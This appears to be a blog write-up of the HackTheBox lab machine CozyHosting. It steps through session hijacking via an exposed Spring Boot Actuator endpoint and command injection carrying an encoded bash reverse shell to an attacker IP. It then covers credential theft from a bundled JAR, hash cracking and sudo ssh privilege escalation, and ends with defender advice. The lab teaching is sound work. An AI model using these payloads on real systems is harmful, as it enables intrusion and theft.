EASY LINUX
CozyHosting
April 02, 2026 11 min read
Spring BootRCECommand Injection
Target IP
10.129.4.1
OS
Linux
Difficulty
Easy
Platform
HackTheBox

Recon

Two ports. The web server header identified the framework — Spring Boot — which immediately pointed me at Actuator endpoints.

$ nmap -sC -sV -oN nmap/initial 10.129.4.1
22/tcp open  ssh   OpenSSH 8.9p1 Ubuntu
80/tcp open  http  nginx 1.18.0
|_http-title: CozyHosting - Home
|_http-redirect: http://cozyhosting.htb/
  
$ echo "10.129.4.1 cozyhosting.htb" >> /etc/hosts
  

Enumeration

Spring Boot Actuator

Spring Boot Actuator is a production-ready feature set that exposes management endpoints — health checks, metrics, environment info, and critically: session data. I fuzzed with a Spring Boot-specific wordlist.

$ gobuster dir -u http://cozyhosting.htb -w /usr/share/seclists/Discovery/Web-Content/spring-boot.txt
/actuator             (Status: 200)
/actuator/env         (Status: 200)
/actuator/sessions    (Status: 200)
/actuator/mappings    (Status: 200)
/actuator/beans       (Status: 200)
  

/actuator/sessions returns a JSON object mapping session IDs to usernames:

$ curl -s http://cozyhosting.htb/actuator/sessions
{"D158AB72...":"kanderson","UNAUTHORIZED":"UNAUTHORIZED"}
  
Key Finding
/actuator/sessions exposes live session tokens for all authenticated users. Setting this token as the JSESSIONID cookie grants immediate authenticated access as that user — no credentials needed.

I set the kanderson session token as a cookie and navigated to /admin — access granted.

Admin Panel — Command Injection

The admin panel has an SSH connection feature that takes a hostname and username, then appears to call ssh username@hostname on the server. I intercepted the POST request with Burp and tested the username field for injection.

POST /executessh HTTP/1.1
Host: cozyhosting.htb
Cookie: JSESSIONID=D158AB72...
Content-Type: application/x-www-form-urlencoded

host=localhost&username=test;id;
  

The error message revealed that spaces in usernames cause issues — SSH rejects them. I bypassed this with ${IFS} (the Internal Field Separator variable, which acts as a space in bash):

Foothold

# encode the reverse shell payload to avoid spaces
$ echo "bash -i >& /dev/tcp/10.10.14.X/4444 0>&1" | base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC5YLzQ0NDQgMD4mMQo=

# inject via Burp — IFS bypasses the space check
username=test;echo${IFS}YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC5YLzQ0NDQgMD4mMQo=|base64${IFS}-d|bash;
  
connect to [10.10.14.X] from (UNKNOWN) [10.129.4.1] 44286
app@cozyhosting:/app$ id
uid=1001(app) gid=1001(app) groups=1001(app)
  

Shell as app. The JAR file was in the current directory — I extracted it and read the application properties to find database credentials.

app@cozyhosting:/app$ jar xf cloudhosting-0.0.1.jar
app@cozyhosting:/app$ cat BOOT-INF/classes/application.properties
spring.datasource.url=jdbc:postgresql://localhost:5432/cozyhosting
spring.datasource.username=postgres
spring.datasource.password=Vg&nvzAQ7XxR
  
app@cozyhosting:/app$ psql -h localhost -U postgres -W cozyhosting
Password: Vg&nvzAQ7XxR
cozyhosting=# SELECT * FROM users;
 name  | password
-------+----------------------------------------------------------
 admin | $2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm
 kanderson | $2a$10$...
  
$ hashcat -m 3200 admin_hash.txt /usr/share/wordlists/rockyou.txt
$2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm:manchesterunited
app@cozyhosting:/app$ su josh
Password: manchesterunited
josh@cozyhosting:/app$
  

Privilege Escalation

josh@cozyhosting:~$ sudo -l
User josh may run the following commands on cozyhosting:
    (root) NOPASSWD: /usr/bin/ssh *
  

Unrestricted sudo ssh. GTFObins SSH entry: the ProxyCommand option executes an arbitrary command before establishing the connection. With sudo, this runs as root.

josh@cozyhosting:~$ sudo ssh -o ProxyCommand=';bash 0<&2 1>&2' x
root@cozyhosting:/home/josh# id
uid=0(root) gid=0(root) groups=0(root)
  

Flags

User Flag
/home/josh/user.txt
Root Flag
/root/root.txt

Lessons Learned

Defender Note
Restrict Actuator endpoints behind authentication and to internal IPs only — at minimum, explicitly exclude /actuator/sessions from public access. Sanitize all inputs to shell-calling features; use parameterized subprocess calls instead of string concatenation. Store credentials in environment variables or a secrets manager, not bundled in application JARs.
← All Posts